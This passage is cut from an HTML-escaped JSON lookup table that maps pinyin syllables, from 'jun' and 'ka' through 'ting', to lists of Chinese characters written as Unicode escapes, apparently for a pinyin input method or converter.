6&#34;,&#34;jun&#34;:&#34;\u5747\u83cc\u94a7\u519b\u541b\u5cfb\u4fca\u7ae3\u6d5a\u90e1\u9a8f\u6343\u72fb\u76b2\u7b60\u9e87&#34;,&#34;ka&#34;:&#34;\u5580\u5496\u5361\u4f67\u5494\u80e9&#34;,&#34;ke&#34;:&#34;\u54af\u5777\u82db\u67ef\u68f5\u78d5\u9897\u79d1\u58f3\u54b3\u53ef\u6e34\u514b\u523b\u5ba2\u8bfe\u5ca2\u606a\u6e98\u9a92\u7f02\u73c2\u8f72\u6c2a\u778c\u94b6\u75b4\u7aa0\u874c\u9ac1&#34;,&#34;kai&#34;:&#34;\u5f00\u63e9\u6977\u51ef\u6168\u5240\u57b2\u8488\u5ffe\u607a\u94e0\u950e&#34;,&#34;kan&#34;:&#34;\u520a\u582a\u52d8\u574e\u780d\u770b\u4f83\u51f5\u83b0\u83b6\u6221\u9f9b\u77b0&#34;,&#34;kang&#34;:&#34;\u5eb7\u6177\u7ce0\u625b\u6297\u4ea2\u7095\u5751\u4f09\u95f6\u94aa&#34;,&#34;kao&#34;:&#34;\u8003\u62f7\u70e4\u9760\u5c3b\u6832\u7292\u94d0&#34;,&#34;ken&#34;:&#34;\u80af\u5543\u57a6\u6073\u57a0\u88c9\u9880&#34;,&#34;keng&#34;:&#34;\u542d\u5fd0\u94ff&#34;,&#34;kong&#34;:&#34;\u7a7a\u6050\u5b54\u63a7\u5025\u5d06\u7b9c&#34;,&#34;kou&#34;:&#34;\u62a0\u53e3\u6263\u5bc7\u82a4\u853b\u53e9\u770d\u7b58&#34;,&#34;ku&#34;:&#34;\u67af\u54ed\u7a9f\u82e6\u9177\u5e93\u88e4\u5233\u5800\u55be\u7ed4\u9ab7&#34;,&#34;kua&#34;:&#34;\u5938\u57ae\u630e\u8de8\u80ef\u4f89&#34;,&#34;kuai&#34;:&#34;\u5757\u7b77\u4fa9\u5feb\u84af\u90d0\u8489\u72ef\u810d&#34;,&#34;kuan&#34;:&#34;\u5bbd\u6b3e\u9acb&#34;,&#34;kuang&#34;:&#34;\u5321\u7b50\u72c2\u6846\u77ff\u7736\u65f7\u51b5\u8bd3\u8bf3\u909d\u5739\u593c\u54d0\u7ea9\u8d36&#34;,&#34;kui&#34;:&#34;\u4e8f\u76d4\u5cbf\u7aa5\u8475\u594e\u9b41\u5080\u9988\u6127\u6e83\u9997\u532e\u5914\u9697\u63c6\u55b9\u559f\u609d\u6126\u9615\u9035\u668c\u777d\u8069\u8770\u7bd1\u81fe\u8dec&#34;,&#34;kun&#34;:&#34;\u5764\u6606\u6346\u56f0\u6083\u9603\u7428\u951f\u918c\u9cb2\u9ae1&#34;,&#34;kuo&#34;:&#34;\u62ec\u6269\u5ed3\u9614\u86de&#34;,&#34;la&#34;:&#34;\u5783\u62c9\u5587\u8721\u814a\u8fa3\u5566\u524c\u647a\u908b\u65ef\u782c\u760c&#34;,&#34;lai&#34;:&#34;\u83b1\u6765\u8d56\u5d03\u5f95\u6d9e\u6fd1\u8d49\u7750\u94fc\u765e\u7c41&#34;,&#34;lan&#34;:&#34;\u84dd\u5a6a\u680f\u62e6\u7bee\u9611\u5170\u6f9c\u8c30\u63fd\u89c8\u61d2\u7f06\u70c2\u6ee5\u5549\u5c9a\u61d4\u6f24\u6984\u6593\u7f71\u9567\u8934&#34;,&#34;lang&#34;:&#34;\u7405\u6994\u72fc\u5eca\u90ce\u6717\u6d6a\u83a8\u8497\u5577\u9606\u9512\u7a02\u8782&#34;,&#34;lao&#34;:&#34;\u635e\u52b3\u7262\u8001\u4f6c\u59e5\u916a\u70d9\u6d9d\u5520\u5d02\u6833\u94d1\u94f9\u75e8\u91aa&#34;,&#34;le&#34;:&#34;\u52d2\u4e50\u808b\u4ec2\u53fb\u561e\u6cd0\u9cd3&#34;,&#34;lei&#34;:&#34;\u96f7\u956d\u857e\u78ca\u7d2f\u5121\u5792\u64c2\u7c7b\u6cea\u7fb8\u8bd4\u837d\u54a7\u6f2f\u5ad8\u7f27\u6a91\u8012\u9179&#34;,&#34;ling&#34;:&#34;\u68f1\u51b7\u62ce\u73b2\u83f1\u96f6\u9f84\u94c3\u4f36\u7f9a\u51cc\u7075\u9675\u5cad\u9886\u53e6\u4ee4\u9143\u5844\u82d3\u5464\u56f9\u6ce0\u7eeb\u67c3\u68c2\u74f4\u8046\u86c9\u7fce\u9cae&#34;,&#34;leng&#34;:&#34;\u695e\u6123&#34;,&#34;li&#34;:&#34;\u5398\u68a8\u7281\u9ece\u7bf1\u72f8\u79bb\u6f13\u7406\u674e\u91cc\u9ca4\u793c\u8389\u8354\u540f\u6817\u4e3d\u5389\u52b1\u783e\u5386\u5229\u5088\u4f8b\u4fd0\u75e2\u7acb\u7c92\u6ca5\u96b6\u529b\u7483\u54e9\u4fea\u4fda\u90e6\u575c\u82c8\u8385\u84e0\u85dc\u6369\u5456\u5533\u55b1\u7301\u6ea7\u6fa7\u9026\u5a0c\u5ae0\u9a8a\u7f21\u73de\u67a5\u680e\u8f79\u623e\u783a\u8a48\u7f79\u9502\u9e42\u75a0\u75ac\u86ce\u870a\u8821\u7b20\u7be5\u7c9d\u91b4\u8dde\u96f3\u9ca1\u9ce2\u9ee7&#34;,&#34;lian&#34;:&#34;\u4fe9\u8054\u83b2\u8fde\u9570\u5ec9\u601c\u6d9f\u5e18\u655b\u8138\u94fe\u604b\u70bc\u7ec3\u631b\u8539\u5941\u6f4b\u6fc2\u5a08\u740f\u695d\u6b93\u81c1\u81a6\u88e2\u880a\u9ca2&#34;,&#34;liang&#34;:&#34;\u7cae\u51c9\u6881\u7cb1\u826f\u4e24\u8f86\u91cf\u667e\u4eae\u8c05\u589a\u690b\u8e09\u9753\u9b49&#34;,&#34;liao&#34;:&#34;\u64a9\u804a\u50da\u7597\u71ce\u5be5\u8fbd\u6f66\u4e86\u6482\u9563\u5ed6\u6599\u84fc\u5c25\u5639\u7360\u5bee\u7f2d\u948c\u9e69\u8022&#34;,&#34;lie&#34;:&#34;\u5217\u88c2\u70c8\u52a3\u730e\u51bd\u57d2\u6d0c\u8d94\u8e90\u9b23&#34;,&#34;lin&#34;:&#34;\u7433\u6797\u78f7\u9716\u4e34\u90bb\u9cde\u6dcb\u51db\u8d41\u541d\u853a\u5d99\u5eea\u9074\u6aa9\u8f9a\u77b5\u7cbc\u8e8f\u9e9f&#34;,&#34;liu&#34;:&#34;\u6e9c\u7409\u69b4\u786b\u998f\u7559\u5218\u7624\u6d41\u67f3\u516d\u62a1\u507b\u848c\u6cd6\u6d4f\u905b\u9a9d\u7efa\u65d2\u7198\u950d\u954f\u9e68\u938f&#34;,&#34;long&#34;:&#34;\u9f99\u804b\u5499\u7b3c\u7abf\u9686\u5784\u62e2\u9647\u5f04\u5785\u830f\u6cf7\u73d1\u680a\u80e7\u783b\u7643&#34;,&#34;lou&#34;:&#34;\u697c\u5a04\u6402\u7bd3\u6f0f\u964b\u55bd\u5d5d\u9542\u7618\u8027\u877c\u9ac5&#34;,&#34;lu&#34;:&#34;\u82a6\u5362\u9885\u5e90\u7089\u63b3\u5364\u864f\u9c81\u9e93\u788c\u9732\u8def\u8d42\u9e7f\u6f5e\u7984\u5f55\u9646\u622e\u5786\u6445\u64b8\u565c\u6cf8\u6e0c\u6f09\u7490\u680c\u6a79\u8f73\u8f82\u8f98\u6c07\u80ea\u9565\u9e2c\u9e6d\u7c0f\u823b\u9c88&#34;,&#34;lv&#34;:&#34;\u9a74\u5415\u94dd\u4fa3\u65c5\u5c65\u5c61\u7f15\u8651\u6c2f\u5f8b\u7387\u6ee4\u7eff\u634b\u95fe\u6988\u8182\u7a06\u891b&#34;,&#34;luan&#34;:&#34;\u5ce6\u5b6a\u6ee6\u5375\u4e71\u683e\u9e3e\u92ae&#34;,&#34;lue&#34;:&#34;\u63a0\u7565\u950a&#34;,&#34;lun&#34;:&#34;\u8f6e\u4f26\u4ed1\u6ca6\u7eb6\u8bba\u56f5&#34;,&#34;luo&#34;:&#34;\u841d\u87ba\u7f57\u903b\u9523\u7ba9\u9aa1\u88f8\u843d\u6d1b\u9a86\u7edc\u502e\u8366\u645e\u7321\u6cfa\u6924\u8136\u9559\u7630\u96d2&#34;,&#34;ma&#34;:&#34;\u5988\u9ebb\u739b\u7801\u8682\u9a6c\u9a82\u561b\u5417\u551b\u72b8\u5b37\u6769\u9ebd&#34;,&#34;mai&#34;:&#34;\u57cb\u4e70\u9ea6\u5356\u8fc8\u8109\u52a2\u836c\u54aa\u973e&#34;,&#34;man&#34;:&#34;\u7792\u9992\u86ee\u6ee1\u8513\u66fc\u6162\u6f2b\u8c29\u5881\u5e54\u7f26\u71b3\u9558\u989f\u87a8\u9cd7\u9794&#34;,&#34;mang&#34;:&#34;\u8292\u832b\u76f2\u5fd9\u83bd\u9099\u6f2d\u6726\u786d\u87d2&#34;,&#34;meng&#34;:&#34;\u6c13\u840c\u8499\u6aac\u76df\u9530\u731b\u68a6\u5b5f\u52d0\u750d\u77a2\u61f5\u791e\u867b\u8722\u8813\u824b\u8268\u9efe&#34;,&#34;miao&#34;:&#34;\u732b\u82d7\u63cf\u7784\u85d0\u79d2\u6e3a\u5e99\u5999\u55b5\u9088\u7f08\u7f2a\u676a\u6dfc\u7707\u9e4b\u8731&#34;,&#34;mao&#34;:&#34;\u8305\u951a\u6bdb\u77db\u94c6\u536f\u8302\u5192\u5e3d\u8c8c\u8d38\u4f94\u88a4\u52d6\u8306\u5cc1\u7441\u6634\u7266\u8004\u65c4\u61cb\u7780\u86d1\u8765\u87ca\u9ae6&#34;,&#34;me&#34;:&#34;\u4e48&#34;,&#34;mei&#34;:&#34;\u73ab\u679a\u6885\u9176\u9709\u7164\u6ca1\u7709\u5a92\u9541\u6bcf\u7f8e\u6627\u5bd0\u59b9\u5a9a\u5776\u8393\u5d4b\u7338\u6d7c\u6e44\u6963\u9545\u9e5b\u8882\u9b45&#34;,&#34;men&#34;:&#34;\u95e8\u95f7\u4eec\u626a\u739f\u7116\u61d1\u9494&#34;,&#34;mi&#34;:&#34;\u772f\u919a\u9761\u7cdc\u8ff7\u8c1c\u5f25\u7c73\u79d8\u89c5\u6ccc\u871c\u5bc6\u5e42\u8288\u5196\u8c27\u863c\u5627\u7315\u736f\u6c68\u5b93\u5f2d\u8112\u6549\u7cf8\u7e3b\u9e8b&#34;,&#34;mian&#34;:&#34;\u68c9\u7720\u7ef5\u5195\u514d\u52c9\u5a29\u7f05\u9762\u6c94\u6e4e\u817c\u7704&#34;,&#34;mie&#34;:&#34;\u8511\u706d\u54a9\u881b\u7bfe&#34;,&#34;min&#34;:&#34;\u6c11\u62bf\u76bf\u654f\u60af\u95fd\u82e0\u5cb7\u95f5\u6cef\u73c9&#34;,&#34;ming&#34;:&#34;\u660e\u879f\u9e23\u94ed\u540d\u547d\u51a5\u8317\u6e9f\u669d\u7791\u9169&#34;,&#34;miu&#34;:&#34;\u8c2c&#34;,&#34;mo&#34;:&#34;\u6478\u6479\u8611\u6a21\u819c\u78e8\u6469\u9b54\u62b9\u672b\u83ab\u58a8\u9ed8\u6cab\u6f20\u5bde\u964c\u8c1f\u8309\u84e6\u998d\u5aeb\u9546\u79e3\u763c\u8031\u87c6\u8c8a\u8c98&#34;,&#34;mou&#34;:&#34;\u8c0b\u725f\u67d0\u53b6\u54de\u5a7a\u7738\u936a&#34;,&#34;mu&#34;:&#34;\u62c7\u7261\u4ea9\u59c6\u6bcd\u5893\u66ae\u5e55\u52df\u6155\u6728\u76ee\u7766\u7267\u7a46\u4eeb\u82dc\u5452\u6c90\u6bea\u94bc&#34;,&#34;na&#34;:&#34;\u62ff\u54ea\u5450\u94a0\u90a3\u5a1c\u7eb3\u5185\u637a\u80ad\u954e\u8872\u7bac&#34;,&#34;nai&#34;:&#34;\u6c16\u4e43\u5976\u8010\u5948\u9f10\u827f\u8418\u67f0&#34;,&#34;nan&#34;:&#34;\u5357\u7537\u96be\u56ca\u5583\u56e1\u6960\u8169\u877b\u8d67&#34;,&#34;nao&#34;:&#34;\u6320\u8111\u607c\u95f9\u5b6c\u57b4\u7331\u7459\u7847\u94d9\u86f2&#34;,&#34;ne&#34;:&#34;\u6dd6\u5462\u8bb7&#34;,&#34;nei&#34;:&#34;\u9981&#34;,&#34;nen&#34;:&#34;\u5ae9\u80fd\u6798\u6041&#34;,&#34;ni&#34;:&#34;\u59ae\u9713\u502a\u6ce5\u5c3c\u62df\u4f60\u533f\u817b\u9006\u6eba\u4f32\u576d\u730a\u6029\u6ee0\u6635\u65ce\u7962\u615d\u7768\u94cc\u9cb5&#34;,&#34;nian&#34;:&#34;\u852b\u62c8\u5e74\u78be\u64b5\u637b\u5ff5\u5eff\u8f87\u9ecf\u9c87\u9cb6&#34;,&#34;niang&#34;:&#34;\u5a18\u917f&#34;,&#34;niao&#34;:&#34;\u9e1f\u5c3f\u8311\u5b32\u8132\u8885&#34;,&#34;nie&#34;:&#34;\u634f\u8042\u5b7d\u556e\u954a\u954d\u6d85\u4e5c\u9667\u8616\u55eb\u8080\u989e\u81ec\u8e51&#34;,&#34;nin&#34;:&#34;\u60a8\u67e0&#34;,&#34;ning&#34;:&#34;\u72de\u51dd\u5b81\u62e7\u6cde\u4f5e\u84e5\u549b\u752f\u804d&#34;,&#34;niu&#34;:&#34;\u725b\u626d\u94ae\u7ebd\u72c3\u5ff8\u599e\u86b4&#34;,&#34;nong&#34;:&#34;\u8113\u6d53\u519c\u4fac&#34;,&#34;nu&#34;:&#34;\u5974\u52aa\u6012\u5476\u5e11\u5f29\u80ec\u5b65\u9a7d&#34;,&#34;nv&#34;:&#34;\u5973\u6067\u9495\u8844&#34;,&#34;nuan&#34;:&#34;\u6696&#34;,&#34;nuenue&#34;:&#34;\u8650&#34;,&#34;nue&#34;:&#34;\u759f\u8c11&#34;,&#34;nuo&#34;:&#34;\u632a\u61e6\u7cef\u8bfa\u50a9\u6426\u558f\u9518&#34;,&#34;ou&#34;:&#34;\u54e6\u6b27\u9e25\u6bb4\u85d5\u5455\u5076\u6ca4\u6004\u74ef\u8026&#34;,&#34;pa&#34;:&#34;\u556a\u8db4\u722c\u5e15\u6015\u7436\u8469\u7b62&#34;,&#34;pai&#34;:&#34;\u62cd\u6392\u724c\u5f98\u6e43\u6d3e\u4ff3\u848e&#34;,&#34;pan&#34;:&#34;\u6500\u6f58\u76d8\u78d0\u76fc\u7554\u5224\u53db\u723f\u6cee\u88a2\u897b\u87e0\u8e52&#34;,&#34;pang&#34;:&#34;\u4e53\u5e9e\u65c1\u802a\u80d6\u6ec2\u9004&#34;,&#34;pao&#34;:&#34;\u629b\u5486\u5228\u70ae\u888d\u8dd1\u6ce1\u530f\u72cd\u5e96\u812c\u75b1&#34;,&#34;pei&#34;:&#34;\u5478\u80da\u57f9\u88f4\u8d54\u966a\u914d\u4f69\u6c9b\u638a\u8f94\u5e14\u6de0\u65c6\u952b\u9185\u9708&#34;,&#34;pen&#34;:&#34;\u55b7\u76c6\u6e53&#34;,&#34;peng&#34;:&#34;\u7830\u62a8\u70f9\u6f8e\u5f6d\u84ec\u68da\u787c\u7bf7\u81a8\u670b\u9e4f\u6367\u78b0\u576f\u580b\u562d\u6026\u87db&#34;,&#34;pi&#34;:&#34;\u7812\u9739\u6279\u62ab\u5288\u7435\u6bd7\u5564\u813e\u75b2\u76ae\u5339\u75de\u50fb\u5c41\u8b6c\u4e15\u9674\u90b3\u90eb\u572e\u9f19\u64d7\u567c\u5e80\u5ab2\u7eb0\u6787\u7513\u7765\u7f74\u94cd\u75e6\u7656\u758b\u868d\u8c94&#34;,&#34;pian&#34;:&#34;\u7bc7\u504f\u7247\u9a97\u8c1d\u9a88\u728f\u80fc\u890a\u7fe9\u8e41&#34;,&#34;piao&#34;:&#34;\u98d8\u6f02\u74e2\u7968\u527d\u560c\u5ad6\u7f25\u6b8d\u779f\u87b5&#34;,&#34;pie&#34;:&#34;\u6487\u77a5\u4e3f\u82e4\u6c15&#34;,&#34;pin&#34;:&#34;\u62fc\u9891\u8d2b\u54c1\u8058\u62da\u59d8\u5ad4\u6980\u725d\u98a6&#34;,&#34;ping&#34;:&#34;\u4e52\u576a\u82f9\u840d\u5e73\u51ed\u74f6\u8bc4\u5c4f\u4fdc\u5a09\u67b0\u9c86&#34;,&#34;po&#34;:&#34;\u5761\u6cfc\u9887\u5a46\u7834\u9b44\u8feb\u7c95\u53f5\u9131\u6ea5\u73c0\u948b\u94b7\u76a4\u7b38&#34;,&#34;pou&#34;:&#34;\u5256\u88d2\u8e23&#34;,&#34;pu&#34;:&#34;\u6251\u94fa\u4ec6\u8386\u8461\u83e9\u84b2\u57d4\u6734\u5703\u666e\u6d66\u8c31\u66dd\u7011\u530d\u5657\u6fee\u749e\u6c06\u9564\u9568\u8e7c&#34;,&#34;qi&#34;:&#34;\u671f\u6b3a\u6816\u621a\u59bb\u4e03\u51c4\u6f06\u67d2\u6c8f\u5176\u68cb\u5947\u6b67\u7566\u5d0e\u8110\u9f50\u65d7\u7948\u7941\u9a91\u8d77\u5c82\u4e5e\u4f01\u542f\u5951\u780c\u5668\u6c14\u8fc4\u5f03\u6c7d\u6ce3\u8bab\u4e9f\u4e93\u573b\u8291\u840b\u847a\u5601\u5c7a\u5c90\u6c54\u6dc7\u9a90\u7eee\u742a\u7426\u675e\u6864\u69ed\u6b39\u797a\u61a9\u789b\u86f4\u871e\u7da6\u7dae\u8dbf\u8e4a\u9ccd\u9e92&#34;,&#34;qia&#34;:&#34;\u6390\u6070\u6d3d\u845c&#34;,&#34;qian&#34;:&#34;\u7275\u6266\u948e\u94c5\u5343\u8fc1\u7b7e\u4edf\u8c26\u4e7e\u9ed4\u94b1\u94b3\u524d\u6f5c\u9063\u6d45\u8c34\u5811\u5d4c\u6b20\u6b49\u4f65\u9621\u828a\u82a1\u8368\u63ae\u5c8d\u60ad\u614a\u9a9e\u6434\u8930\u7f31\u6920\u80b7\u6106\u94a4\u8654\u7b9d&#34;,&#34;qiang&#34;:&#34;\u67aa\u545b\u8154\u7f8c\u5899\u8537\u5f3a\u62a2\u5af1\u6a2f\u6217\u709d\u9516\u9535\u956a\u8941\u8723\u7f9f\u8deb\u8dc4&#34;,&#34;qiao&#34;:&#34;\u6a47\u9539\u6572\u6084\u6865\u77a7\u4e54\u4fa8\u5de7\u9798\u64ac\u7fd8\u5ced\u4fcf\u7a8d\u5281\u8bee\u8c2f\u835e\u6100\u6194\u7f32\u6a35\u6bf3\u7857\u8df7\u9792&#34;,&#34;qie&#34;:&#34;\u5207\u8304\u4e14\u602f\u7a83\u90c4\u553c\u60ec\u59be\u6308\u9532\u7ba7&#34;,&#34;qin&#34;:&#34;\u94a6\u4fb5\u4eb2\u79e6\u7434\u52e4\u82b9\u64d2\u79bd\u5bdd\u6c81\u82a9\u84c1\u8572\u63ff\u5423\u55ea\u5659\u6eb1\u6a8e\u8793\u887e&#34;,&#34;qing&#34;:&#34;\u9752\u8f7b\u6c22\u503e\u537f\u6e05\u64ce\u6674\u6c30\u60c5\u9877\u8bf7\u5e86\u5029\u82d8\u570a\u6aa0\u78ec\u873b\u7f44\u7b90\u8b26\u9cad\u9ee5&#34;,&#34;qiong&#34;:&#34;\u743c\u7a77\u909b\u8315\u7a79\u7b47\u928e&#34;,&#34;qiu&#34;:&#34;\u79cb\u4e18\u90b1\u7403\u6c42\u56da\u914b\u6cc5\u4fc5\u6c3d\u5def\u827d\u72b0\u6e6b\u9011\u9052\u6978\u8d47\u9e20\u866c\u86af\u8764\u88d8\u7cd7\u9cc5\u9f3d&#34;,&#34;qu&#34;:&#34;\u8d8b\u533a\u86c6\u66f2\u8eaf\u5c48\u9a71\u6e20\u53d6\u5a36\u9f8b\u8da3\u53bb\u8bce\u52ac\u8556\u8627\u5c96\u8862\u9612\u74a9\u89d1\u6c0d\u795b\u78f2\u766f\u86d0\u883c\u9eb4\u77bf\u9ee2&#34;,&#34;quan&#34;:&#34;\u5708\u98a7\u6743\u919b\u6cc9\u5168\u75ca\u62f3\u72ac\u5238\u529d\u8be0\u8343\u737e\u609b\u7efb\u8f81\u754e\u94e8\u8737\u7b4c\u9b08&#34;,&#34;que&#34;:&#34;\u7f3a\u7094\u7638\u5374\u9e4a\u69b7\u786e\u96c0\u9619\u60ab&#34;,&#34;qun&#34;:&#34;\u88d9\u7fa4\u9021&#34;,&#34;ran&#34;:&#34;\u7136\u71c3\u5189\u67d3\u82d2\u9aef&#34;,&#34;rang&#34;:&#34;\u74e4\u58e4\u6518\u56b7\u8ba9\u79b3\u7a70&#34;,&#34;rao&#34;:&#34;\u9976\u6270\u7ed5\u835b\u5a06\u6861&#34;,&#34;ruo&#34;:&#34;\u60f9\u82e5\u5f31&#34;,&#34;re&#34;:&#34;\u70ed\u504c&#34;,&#34;ren&#34;:&#34;\u58ec\u4ec1\u4eba\u5fcd\u97e7\u4efb\u8ba4\u5203\u598a\u7eab\u4ede\u834f\u845a\u996a\u8f6b\u7a14\u887d&#34;,&#34;reng&#34;:&#34;\u6254\u4ecd&#34;,&#34;ri&#34;:&#34;\u65e5&#34;,&#34;rong&#34;:&#34;\u620e\u8338\u84c9\u8363\u878d\u7194\u6eb6\u5bb9\u7ed2\u5197\u5d58\u72e8\u7f1b\u6995\u877e&#34;,&#34;rou&#34;:&#34;\u63c9\u67d4\u8089\u7cc5\u8e42\u97a3&#34;,&#34;ru&#34;:&#34;\u8339\u8815\u5112\u5b7a\u5982\u8fb1\u4e73\u6c5d\u5165\u8925\u84d0\u85b7\u5685\u6d33\u6ebd\u6fe1\u94f7\u8966\u98a5&#34;,&#34;ruan&#34;:&#34;\u8f6f\u962e\u670a&#34;,&#34;rui&#34;:&#34;\u854a\u745e\u9510\u82ae\u8564\u777f\u868b&#34;,&#34;run&#34;:&#34;\u95f0\u6da6&#34;,&#34;sa&#34;:&#34;\u6492\u6d12\u8428\u5345\u4ee8\u6332\u98d2&#34;,&#34;sai&#34;:&#34;\u816e\u9cc3\u585e\u8d5b\u567b&#34;,&#34;san&#34;:&#34;\u4e09\u53c1\u4f1e\u6563\u5f61\u9993\u6c35\u6bf5\u7cc1\u9730&#34;,&#34;sang&#34;:&#34;\u6851\u55d3\u4e27\u6421\u78c9\u98a1&#34;,&#34;sao&#34;:&#34;\u6414\u9a9a\u626b\u5ac2\u57fd\u81ca\u7619\u9ccb&#34;,&#34;se&#34;:&#34;\u745f\u8272\u6da9\u556c\u94e9\u94ef\u7a51&#34;,&#34;sen&#34;:&#34;\u68ee&#34;,&#34;seng&#34;:&#34;\u50e7&#34;,&#34;sha&#34;:&#34;\u838e\u7802\u6740\u5239\u6c99\u7eb1\u50bb\u5565\u715e\u810e\u6b43\u75e7\u88df\u970e\u9ca8&#34;,&#34;shai&#34;:&#34;\u7b5b\u6652\u917e&#34;,&#34;shan&#34;:&#34;\u73ca\u82eb\u6749\u5c71\u5220\u717d\u886b\u95ea\u9655\u64c5\u8d61\u81b3\u5584\u6c55\u6247\u7f2e\u5261\u8baa\u912f\u57cf\u829f\u6f78\u59d7\u9a9f\u81bb\u9490\u759d\u87ee\u8222\u8dda\u9cdd&#34;,&#34;shang&#34;:&#34;\u5892\u4f24\u5546\u8d4f\u664c\u4e0a\u5c1a\u88f3\u57a7\u7ef1\u6b87\u71b5\u89de&#34;,&#34;shao&#34;:&#34;\u68a2\u634e\u7a0d\u70e7\u828d\u52fa\u97f6\u5c11\u54e8\u90b5\u7ecd\u52ad\u82d5\u6f72\u86f8\u7b24\u7b72\u8244&#34;,&#34;she&#34;:&#34;\u5962\u8d4a\u86c7\u820c\u820d\u8d66\u6444\u5c04\u6151\u6d89\u793e\u8bbe\u538d\u4f58\u731e\u7572\u9e9d&#34;,&#34;shen&#34;:&#34;\u7837\u7533\u547b\u4f38\u8eab\u6df1\u5a20\u7ec5\u795e\u6c88\u5ba1\u5a76\u751a\u80be\u614e\u6e17\u8bdc\u8c02\u5432\u54c2\u6e16\u6939\u77e7\u8703&#34;,&#34;sheng&#34;:&#34;\u58f0\u751f\u7525\u7272\u5347\u7ef3\u7701\u76db\u5269\u80dc\u5723\u4e1e\u6e11\u5ab5\u771a\u7b19&#34;,&#34;shi&#34;:&#34;\u5e08\u5931\u72ee\u65bd\u6e7f\u8bd7\u5c38\u8671\u5341\u77f3\u62fe\u65f6\u4ec0\u98df\u8680\u5b9e\u8bc6\u53f2\u77e2\u4f7f\u5c4e\u9a76\u59cb\u5f0f\u793a\u58eb\u4e16\u67ff\u4e8b\u62ed\u8a93\u901d\u52bf\u662f\u55dc\u566c\u9002\u4ed5\u4f8d\u91ca\u9970\u6c0f\u5e02\u6043\u5ba4\u89c6\u8bd5\u8c25\u57d8\u83b3\u84cd\u5f11\u5511\u9963\u8f7c\u8006\u8d33\u70bb\u793b\u94c8\u94ca\u87ab\u8210\u7b6e\u8c55\u9ca5\u9cba&#34;,&#34;shou&#34;:&#34;\u6536\u624b\u9996\u5b88\u5bff\u6388\u552e\u53d7\u7626\u517d\u624c\u72e9\u7ef6\u824f&#34;,&#34;shu&#34;:&#34;\u852c\u67a2\u68b3\u6b8a\u6292\u8f93\u53d4\u8212\u6dd1\u758f\u4e66\u8d4e\u5b70\u719f\u85af\u6691\u66d9\u7f72\u8700\u9ecd\u9f20\u5c5e\u672f\u8ff0\u6811\u675f\u620d\u7ad6\u5885\u5eb6\u6570\u6f31\u6055\u500f\u587e\u83fd\u5fc4\u6cad\u6d91\u6f8d\u59dd\u7ebe\u6bf9\u8167\u6bb3\u956f\u79eb\u9e6c&#34;,&#34;shua&#34;:&#34;\u5237\u800d\u5530\u6dae&#34;,&#34;shuai&#34;:&#34;\u6454\u8870\u7529\u5e05\u87c0&#34;,&#34;shuan&#34;:&#34;\u6813\u62f4\u95e9&#34;,&#34;shuang&#34;:&#34;\u971c\u53cc\u723d\u5b40&#34;,&#34;shui&#34;:&#34;\u8c01\u6c34\u7761\u7a0e&#34;,&#34;shun&#34;:&#34;\u542e\u77ac\u987a\u821c\u6042&#34;,&#34;shuo&#34;:&#34;\u8bf4\u7855\u6714\u70c1\u84b4\u6420\u55cd\u6fef\u5981\u69ca\u94c4&#34;,&#34;si&#34;:&#34;\u65af\u6495\u5636\u601d\u79c1\u53f8\u4e1d\u6b7b\u8086\u5bfa\u55e3\u56db\u4f3a\u4f3c\u9972\u5df3\u53ae\u4fdf\u5155\u83e5\u549d\u6c5c\u6cd7\u6f8c\u59d2\u9a77\u7f0c\u7940\u7960\u9536\u9e36\u801c\u86f3\u7b25&#34;,&#34;song&#34;:&#34;\u677e\u8038\u6002\u9882\u9001\u5b8b\u8bbc\u8bf5\u51c7\u83d8\u5d27\u5d69\u5fea\u609a\u6dde\u7ae6&#34;,&#34;sou&#34;:&#34;\u641c\u8258\u64de\u55fd\u53df\u55d6\u55fe\u998a\u6eb2\u98d5\u778d\u953c\u878b&#34;,&#34;su&#34;:&#34;\u82cf\u9165\u4fd7\u7d20\u901f\u7c9f\u50f3\u5851\u6eaf\u5bbf\u8bc9\u8083\u5919\u8c21\u850c\u55c9\u612b\u7c0c\u89eb\u7a23&#34;,&#34;suan&#34;:&#34;\u9178\u849c\u7b97&#34;,&#34;sui&#34;:&#34;\u867d\u968b\u968f\u7ee5\u9ad3\u788e\u5c81\u7a57\u9042\u96a7\u795f\u84d1\u51ab\u8c07\u6fc9\u9083\u71e7\u772d\u7762&#34;,&#34;sun&#34;:&#34;\u5b59\u635f\u7b0b\u836a\u72f2\u98e7\u69ab\u8de3\u96bc&#34;,&#34;suo&#34;:&#34;\u68ad\u5506\u7f29\u7410\u7d22\u9501\u6240\u5522\u55e6\u5a11\u686b\u7743\u7fa7&#34;,&#34;ta&#34;:&#34;\u584c\u4ed6\u5b83\u5979\u5854\u736d\u631e\u8e4b\u8e0f\u95fc\u6ebb\u9062\u69bb\u6c93&#34;,&#34;tai&#34;:&#34;\u80ce\u82d4\u62ac\u53f0\u6cf0\u915e\u592a\u6001\u6c70\u90b0\u85b9\u80bd\u70b1\u949b\u8dc6\u9c90&#34;,&#34;tan&#34;:&#34;\u574d\u644a\u8d2a\u762b\u6ee9\u575b\u6a80\u75f0\u6f6d\u8c2d\u8c08\u5766\u6bef\u8892\u78b3\u63a2\u53f9\u70ad\u90ef\u8548\u6619\u94bd\u952c\u8983&#34;,&#34;tang&#34;:&#34;\u6c64\u5858\u642a\u5802\u68e0\u819b\u5510\u7cd6\u50a5\u9967\u6e8f\u746d\u94f4\u9557\u8025\u8797\u87b3\u7fb0\u91a3&#34;,&#34;thang&#34;:&#34;\u5018\u8eba\u6dcc&#34;,&#34;theng&#34;:&#34;\u8d9f\u70eb&#34;,&#34;tao&#34;:&#34;\u638f\u6d9b\u6ed4\u7ee6\u8404\u6843\u9003\u6dd8\u9676\u8ba8\u5957\u6311\u9f17\u5555\u97ec\u9955&#34;,&#34;te&#34;:&#34;\u7279&#34;,&#34;teng&#34;:&#34;\u85e4\u817e\u75bc\u8a8a\u6ed5&#34;,&#34;ti&#34;:&#34;\u68af\u5254\u8e22\u9511\u63d0\u9898\u8e44\u557c\u4f53\u66ff\u568f\u60d5\u6d95\u5243\u5c49\u8351\u608c\u9016\u7ee8\u7f07\u9e48\u88fc\u918d&#34;,&#34;tian&#34;:&#34;\u5929\u6dfb\u586b\u7530\u751c\u606c\u8214\u8146\u63ad\u5fdd\u9617\u6b84\u754b\u94bf\u86ba&#34;,&#34;tiao&#34;:&#34;\u6761\u8fe2\u773a\u8df3\u4f7b\u7967\u94eb\u7a95\u9f86\u9ca6&#34;,&#34;tie&#34;:&#34;\u8d34\u94c1\u5e16\u841c\u992e&#34;,&#34;ting&#34;:&#34;\u5385\u542c\u70c3\u6c40\u5ef7\u505c\u4ead\u5ead\u633a\u8247\u839b\u8476\u5a7